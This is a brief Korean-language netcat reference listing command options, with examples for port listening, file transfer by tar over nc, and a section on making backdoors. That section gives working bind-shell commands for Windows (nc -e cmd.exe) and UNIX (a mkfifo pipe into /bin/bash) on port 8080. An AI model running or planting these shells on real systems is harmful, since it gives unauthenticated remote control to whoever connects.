#nc [Option] [Target_host] [Ports]
Option
-e command. connection이 이루어졌을 때 file을 실행시킨다. -l 옵션과 같이 사용되면 한 instance 만을 사용하는 inetd와 비슷하다.
-g I Gateway. source-routing hop point[s]를 8씩 증가
-G num. source-routing point를 4, 8, 12 .. 4씩 증가
-i seconds. nc는 일반적으로 8K씩 데이터를 보내고 받는데, 그렇게 Standard input의 한 라인씩 interval time 마다 보내게 된다.
-l listen. listening 모드이다.
-n not DNS. DNS name을 사용하지 않는다. 호스트 네임과 포트를 숫자로만 입력 받는다.
-o filename. 보내거나 받은 데이터를 저장한 파일 이름으로 파일에 저장한다.
-p port. 포트지정
-r random port. port 지정이 여러 개로 되어 있으면 이 때 scanning 순서를 임의 지정하며, 또한 -p 옵션에서 지정 가능한 local port도 임의 지정
-s hostname/ip-address. local의 ip와 dns를 지원한다.
-t telnetd. telnetd에 접속이 가능하도록 접속시 telnet과 같은 과정을 거친다.
-u TCP 대신 UDP 프로토콜
-v Verbose. 자세한 설명 모드
-w timeout. 마지막으로 읽고 난 후 종료할 시간을 정한다.
-z zero-I/O mode. connection을 이루기 위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션. 스캐닝시 많이 쓰임
Backdoor 만들기
Windows NT.
c:\> nc -L -d -e c:\winnt\system32\cmd.exe -p 8080
UNIX
$ mkfifo /tmp/pipe; nc -l -p 8080 < /tmp/pipe | /bin/bash > /tmp/pipe
특정 포트 모니터링하기
v1rus ~ # nc -l -n -v -p 88
listening on [any] 88 ...
connect to [165.246.43.109] from (UNKNOWN) [58.224.135.86] 3710
데이터 전송하기
Receiver: #nc -l -p 1234 | uncompress -c | tar xvfp -
Sender : #tar -cfp - /some/dir | compress -c | nc -w 3 othermachine 1234